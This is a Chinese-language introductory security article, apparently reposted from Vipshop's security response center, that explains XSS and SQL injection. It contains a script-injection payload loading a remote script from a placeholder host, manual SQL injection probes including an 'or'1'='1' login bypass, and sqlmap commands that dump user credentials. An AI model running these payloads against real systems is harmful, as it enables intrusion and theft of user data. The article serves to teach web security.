技术分享Web安全之XSS与SQL注入
Posted 唯品会安全应急响应中心
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了技术分享Web安全之XSS与SQL注入相关的知识,希望对你有一定的参考价值。
又到了每周的干货分享时间!~
![【技术分享】Web安全之XSS与SQL注入](https://image.cha138.com/20210429/7574d997541d4ba594052c27cd17aff9.jpg)
鸣
谢
VSRC感谢业界小伙伴——古月林夕投稿精品原创类文章。VSRC欢迎精品原创类文章投稿,优秀文章一旦采纳发布,将有好礼相送,我们为您准备的丰富奖品包括但不仅限于:MacbookAir、VSRC定制雨伞,VSRC定制水杯以及VSRC精美POLO衫!(活动最终解释权归VSRC所有)
![【技术分享】Web安全之XSS与SQL注入](https://image.cha138.com/20210429/89e0fd293ac146e7979fe45b1d084cc9.jpg)
近几年,伴随互联网的高速发展,对Web安全问题的重视也越来越高。Web应用所面临的威胁来自很多方面,其中黑客的破坏是影响最大的,黑客利用Web应用程序存在的漏洞进行非法入侵,从而破坏Web应用服务,盗取用户数据等,如何防范漏洞带来的安全威胁是一项艰巨的挑战。
为了增强用户的交互体验,开发者们在Web应用程序中大量应用客户端脚本,使Web应用的内容与功能变得丰富有趣,然而隐藏的安全威胁随之而来,黑客们将Web攻击的思路从服务器端转向了客户端,利用客户端脚本漏洞的攻击变得越来越强大,如跨站脚本(XSS)和SQL注入成为了众多漏洞中最有针对性的攻击目标。
![【技术分享】Web安全之XSS与SQL注入](https://image.cha138.com/20210429/89e0fd293ac146e7979fe45b1d084cc9.jpg)
XSS(Cross Site Scripting,跨站脚本攻击)是一类特殊的Web客户端脚本注入攻击手段,通常指攻击者通过“html注入”篡改了网页,插入恶意的脚本,从而在用户浏览网页时控制浏览器的一种攻击。
当应用程序发送给浏览器的页面中包含用户提供的数据,而这些数据没有经过适当的转义,或者在这些内容被显示在页面之前没有验证它们都是安全的,使得输入被视为浏览器中的动态内容,就会导致存在跨站脚本漏洞。
按照“数据是否保存在服务器”,XSS被分为:反射型XSS和存储型XSS。
反射型XSS:
服务器未对用户请求参数做任何编码或转义处理,直接将参数作为响应的一部分输出到页面中。反射型XSS是一次性的,很容易实施钓鱼攻击,即诱使被攻击者点击某条恶意链接就可触发漏洞。
存储型XSS:
攻击者提供一个恶意负载输入并在后台保存一段时间,一旦用户访问含恶意程序的网页文件便形成有效攻击。富文本输入空间,都有存储型XSS的漏洞隐患,最严重可能导致XSS蠕虫。
![【技术分享】Web安全之XSS与SQL注入](https://image.cha138.com/20210429/c7ca1686b4424de6bf50ad07d2ad0ff0.jpg)
将payload作为用户输入参数提交测试,这些payload的目的是闭合html的标签,使浏览器弹窗。若服务器对请求参数没有过滤处理,即直接弹窗,那么包含有恶意代码的响应信息被浏览器直接解析执行,由此触发XSS漏洞,且误报率很低。
当然有些xss漏洞隐藏较深,并不能那么容易检测到,需要构造更加强大的payload绕过一些xss简单过滤。
xss攻击过程
在确定可注入的xss漏洞之后,诱使用户加载一个远程脚本,如将url的提交参数改为
“><script src=http://www.xxx.com/ec.js></script>
,攻击者将真正的恶意负载写在这个远程脚本中,避免直接在url的参数里写入大量的js的代码,通过恶意脚本,进而控制用户的浏览器,达到攻击目的。
![【技术分享】Web安全之XSS与SQL注入](https://image.cha138.com/20210429/89e0fd293ac146e7979fe45b1d084cc9.jpg)
攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
1手动注入
a、在参数中输入一个单引号”’”,引起执行查询语句的语法错误,得到服务器的错误回显,从而判断服务器的数据库类型信息。 根据数据库类型构造sql注入语句。
例如一个get方式的url[ http://www.xxx.com/abc.asp?p=YY ]
修改p的参数值http://www.xxx.com/abc.asp?p=YY and user>0 ,就可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名。
http://www.xxx.com/abc.asp?p=YY&n … db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名 。
b、盲注,大部分时候web服务器关闭了错误回显。
http://www.xxx.com/abc.asp?p=1 and 1=2 sql命令不成立,结果为空或出错 ;
http://www.xxx.com/abc.asp?p=1 and 1=1 sql命令成立,结果正常返回 。
两个测试成功后,可以判断负载的sql被执行,存在sql注入漏洞。
手动注入网站示例。登录密码(‘or’1’=‘1)并成功进入管理后台。
2自动化工具检测注入
SQLmap–检测与利用SQL注入漏洞的免费开源工具
sqlmap.py –u 【指定url 】 –cookie –dbs //列出数据库
sqlmap.py –u 【指定url 】 - D 【数据库名】- -tables //列出某个库的数据表
sqlmap.py –u 【指定url 】 -D 【数据库名】-T 【数据表名】 –columns //列出数据表的列名
sqlmap.py –u 【指定url 】 -D dvwa -T users-C user,password –dump //把用户名密码列出来(sqlmap自动破解密码)
某网站拖库示例
![【技术分享】Web安全之XSS与SQL注入](https://image.cha138.com/20210429/9b7bea3c84f04ee18e2907c709d775dc.jpg)
。
。
精彩原创文章投稿有惊喜!
VSRC欢迎精品原创类文章投稿,优秀文章一旦采纳发布,将有好礼相送,我们为您准备的丰富奖品包括但不仅限于:MacbookAir、VSRC定制雨伞,VSRC定制水杯以及VSRC精美POLO衫!(活动最终解释权归VSRC所有)
不知道,大家都喜欢阅读哪些类型的信息安全文章?
不知道,大家都希望我们更新关于哪些主题的干货?
精彩留言互动的热心用户,将有机会获得VSRC赠送的精美奖品一份!
同时,我们也会根据大家反馈的建议,选取热门话题,进行原创发布!
点击阅读原文进入 唯品会风控系统的进化之路
以上是关于技术分享Web安全之XSS与SQL注入的主要内容,如果未能解决你的问题,请参考以下文章
2019-2020-2 20175326 李一潇《网络对抗技术》Exp9 Web安全基础
2019-2020-2 20175326 李一潇《网络对抗技术》Exp9 Web安全基础
2019-2020-2 20175315陈煜扬《网络对抗技术》 Exp9 Web安全基础